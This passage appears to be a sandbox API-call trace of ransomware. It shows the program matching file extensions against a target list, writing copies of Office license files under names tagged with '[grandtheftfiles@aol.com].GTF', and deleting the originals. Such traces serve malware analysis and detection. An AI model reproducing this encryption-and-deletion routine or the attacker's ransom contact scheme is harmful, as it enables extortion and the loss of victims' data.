	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.619] lstrlenW (lpString=".dbf") returned 4
	[0182.619] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.619] lstrlenW (lpString=".1cd") returned 4
	[0182.619] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.620] lstrlenW (lpString=".jpg") returned 4
	[0182.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.620] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.620] lstrlenW (lpString="OneNoteFreeR_Bypass-ppd.xrm-ms") returned 30
	[0182.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.621] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6060) returned 1
	[0182.621] CloseHandle (hObject=0x504) returned 1
	[0182.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms")) returned 0x220
	[0182.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.622] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.622] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.623] GetLastError () returned 0x0
	[0182.623] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x17ac, lpOverlapped=0x0) returned 1
	[0182.624] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x17b0, lpOverlapped=0x0) returned 1
	[0182.625] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.625] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x110, lpOverlapped=0x0) returned 1
	[0182.625] SetEndOfFile (hFile=0x378) returned 1
	[0182.626] CloseHandle (hObject=0x378) returned 1
	[0182.626] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.626] SetEndOfFile (hFile=0x504) returned 1
	[0182.628] CloseHandle (hObject=0x504) returned 1
	[0182.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms")) returned 1
	[0182.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.630] lstrlenW (lpString=".doc") returned 4
	[0182.630] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.630] lstrlenW (lpString=".docx") returned 5
	[0182.630] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.630] lstrlenW (lpString=".pdf") returned 4
	[0182.630] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.630] lstrlenW (lpString=".xls") returned 4
	[0182.630] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.630] lstrlenW (lpString=".xlsx") returned 5
	[0182.630] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.630] lstrlenW (lpString=".ppt") returned 4
	[0182.630] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.630] lstrlenW (lpString=".zip") returned 4
	[0182.630] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.630] lstrlenW (lpString=".rar") returned 4
	[0182.630] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString=".bz2") returned 4
	[0182.631] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString=".7z") returned 3
	[0182.631] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.631] lstrlenW (lpString=".dbf") returned 4
	[0182.631] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.631] lstrlenW (lpString=".1cd") returned 4
	[0182.631] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.631] lstrlenW (lpString=".jpg") returned 4
	[0182.631] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.631] lstrlenW (lpString=".doc") returned 4
	[0182.631] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString=".docx") returned 5
	[0182.631] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.631] lstrlenW (lpString=".pdf") returned 4
	[0182.631] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString=".xls") returned 4
	[0182.631] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString=".xlsx") returned 5
	[0182.631] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.631] lstrlenW (lpString=".ppt") returned 4
	[0182.631] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.631] lstrlenW (lpString=".zip") returned 4
	[0182.631] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString=".rar") returned 4
	[0182.631] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString=".bz2") returned 4
	[0182.631] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.631] lstrlenW (lpString=".7z") returned 3
	[0182.631] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.632] lstrlenW (lpString=".dbf") returned 4
	[0182.632] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.632] lstrlenW (lpString=".1cd") returned 4
	[0182.632] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80
	[0182.632] lstrlenW (lpString=".jpg") returned 4
	[0182.632] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.632] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.632] lstrlenW (lpString="OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 33
	[0182.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.633] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11455) returned 1
	[0182.633] CloseHandle (hObject=0x504) returned 1
	[0182.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms")) returned 0x220
	[0182.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.633] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.633] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.634] GetLastError () returned 0x0
	[0182.634] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2cbf, lpOverlapped=0x0) returned 1
	[0182.636] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2cc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2cc0, lpOverlapped=0x0) returned 1
	[0182.637] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.637] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x116, lpOverlapped=0x0) returned 1
	[0182.637] SetEndOfFile (hFile=0x378) returned 1
	[0182.637] CloseHandle (hObject=0x378) returned 1
	[0182.637] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.637] SetEndOfFile (hFile=0x504) returned 1
	[0182.640] CloseHandle (hObject=0x504) returned 1
	[0182.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms")) returned 1
	[0182.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.641] lstrlenW (lpString=".doc") returned 4
	[0182.641] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.641] lstrlenW (lpString=".docx") returned 5
	[0182.641] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.641] lstrlenW (lpString=".pdf") returned 4
	[0182.641] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.641] lstrlenW (lpString=".xls") returned 4
	[0182.641] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString=".xlsx") returned 5
	[0182.642] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.642] lstrlenW (lpString=".ppt") returned 4
	[0182.642] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.642] lstrlenW (lpString=".zip") returned 4
	[0182.642] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString=".rar") returned 4
	[0182.642] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString=".bz2") returned 4
	[0182.642] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString=".7z") returned 3
	[0182.642] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.642] lstrlenW (lpString=".dbf") returned 4
	[0182.642] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.642] lstrlenW (lpString=".1cd") returned 4
	[0182.642] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.642] lstrlenW (lpString=".jpg") returned 4
	[0182.642] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.642] lstrlenW (lpString=".doc") returned 4
	[0182.642] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString=".docx") returned 5
	[0182.642] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.642] lstrlenW (lpString=".pdf") returned 4
	[0182.642] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString=".xls") returned 4
	[0182.642] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.642] lstrlenW (lpString=".xlsx") returned 5
	[0182.642] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.642] lstrlenW (lpString=".ppt") returned 4
	[0182.642] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.643] lstrlenW (lpString=".zip") returned 4
	[0182.643] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.643] lstrlenW (lpString=".rar") returned 4
	[0182.643] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.643] lstrlenW (lpString=".bz2") returned 4
	[0182.643] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.643] lstrlenW (lpString=".7z") returned 3
	[0182.643] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.643] lstrlenW (lpString=".dbf") returned 4
	[0182.643] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.643] lstrlenW (lpString=".1cd") returned 4
	[0182.643] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83
	[0182.643] lstrlenW (lpString=".jpg") returned 4
	[0182.643] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.643] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.643] lstrlenW (lpString="OneNoteR_Grace-ppd.xrm-ms") returned 25
	[0182.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.644] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20844) returned 1
	[0182.644] CloseHandle (hObject=0x504) returned 1
	[0182.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms")) returned 0x220
	[0182.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.644] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.645] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.645] GetLastError () returned 0x0
	[0182.645] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x516c, lpOverlapped=0x0) returned 1
	[0182.921] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5170, lpOverlapped=0x0) returned 1
	[0182.923] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.923] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x106, lpOverlapped=0x0) returned 1
	[0182.923] SetEndOfFile (hFile=0x378) returned 1
	[0182.923] CloseHandle (hObject=0x378) returned 1
	[0182.923] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.923] SetEndOfFile (hFile=0x504) returned 1
	[0182.926] CloseHandle (hObject=0x504) returned 1
	[0182.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms")) returned 1
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.928] lstrlenW (lpString=".doc") returned 4
	[0182.928] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.928] lstrlenW (lpString=".docx") returned 5
	[0182.928] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.928] lstrlenW (lpString=".pdf") returned 4
	[0182.928] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.928] lstrlenW (lpString=".xls") returned 4
	[0182.928] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.928] lstrlenW (lpString=".xlsx") returned 5
	[0182.928] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.928] lstrlenW (lpString=".ppt") returned 4
	[0182.928] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.928] lstrlenW (lpString=".zip") returned 4
	[0182.928] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.928] lstrlenW (lpString=".rar") returned 4
	[0182.928] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.928] lstrlenW (lpString=".bz2") returned 4
	[0182.929] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString=".7z") returned 3
	[0182.929] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.929] lstrlenW (lpString=".dbf") returned 4
	[0182.929] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.929] lstrlenW (lpString=".1cd") returned 4
	[0182.929] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.929] lstrlenW (lpString=".jpg") returned 4
	[0182.929] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.929] lstrlenW (lpString=".doc") returned 4
	[0182.929] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString=".docx") returned 5
